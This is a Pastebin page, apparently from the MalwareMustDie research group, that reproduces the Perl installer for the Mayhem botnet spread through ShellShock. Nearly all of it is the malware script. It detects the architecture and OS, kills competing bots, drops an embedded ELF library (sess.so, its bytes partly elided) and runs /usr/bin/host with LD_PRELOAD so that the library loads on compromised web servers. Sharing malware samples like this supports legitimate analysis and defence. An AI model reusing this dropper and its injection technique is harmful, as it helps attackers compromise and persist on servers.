MalwareMustDie

Mayhem Installer in ShellShock Wave in Perl #MMD

Oct 6th, 2014
547
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #!/usr/bin/perl
  2. use Config;
  3.  
  4. print "Content-type: text/plain\n\n";
  5. $SO32="\x7f\x45\x4c\x46\x01x4c\x4f..\x00\x00";
  6. $SO64="\x7f\x45\x4c\x46\x02x4c\x4f..\x00\x00";
  7. # detect arch
  8. $arch = $Config{longsize} * 8;
  9. print "Arch=".$arch."\n";
  10. $so = ($arch == 32 ? $SO32 : $SO64);
  11. # detect system
  12. $name = "%helper";
  13. open F, $name and binmode F and read (F, $buf, 8) and close F;
  14. @b = unpack("C*", $buf);
  15. $sys = $b[7];
  16. print "System is ".($sys == 9 ? "FreeBSD" : "Linux")."\n";
  17. $extra = "";
  18. if ($sys == 9) {
  19.     # FreeBSD
  20.     $so[7] = pack("C", $sys);
  21.     my $out = `ldd /usr/bin/host`;
  22.     foreach my $line (split /[\n]+/, $out) {
  23.         my ($x, $x, $lib) = split / /, $line;
  24.         if ($lib =~ /(ibc\.|thr)/i ) {
  25.             $extra .= $lib." ";
  26.         }
  27.     }
  28.     if ($extra !~ /libthr/i) {
  29.         $extra = "libc.so.7 libthr.so.3 ";
  30.     }
  31.     # touch /etc/rc.local
  32.     open (TMP, ">>/etc/rc.local") and close TMP;
  33. }
  34. # kill bots if any
  35. $name=~s/.*\///g;
  36. system("killall -9 ".$name." 2>/dev/null");
  37. # drop library
  38. open $F, ">./sess.so";
  39. print $F $so;
  40. close $F;
  41. print "Drop library\n";
  42.  
  43. $ENV{'AU'}=$ENV{'SERVER_NAME'}.$ENV{'REQUEST_URI'};
  44. system("LD_PRELOAD='".$extra." ./sess.so' /usr/bin/host");
RAW Paste Data

Adblocker detected! Please consider disabling it...

We've detected AdBlock Plus or some other adblocking software preventing Pastebin.com from fully loading.

We don't have any obnoxious sound, or popup ads, we actively block these annoying types of ads!

Please add Pastebin.com to your ad blocker whitelist or disable your adblocking software.

×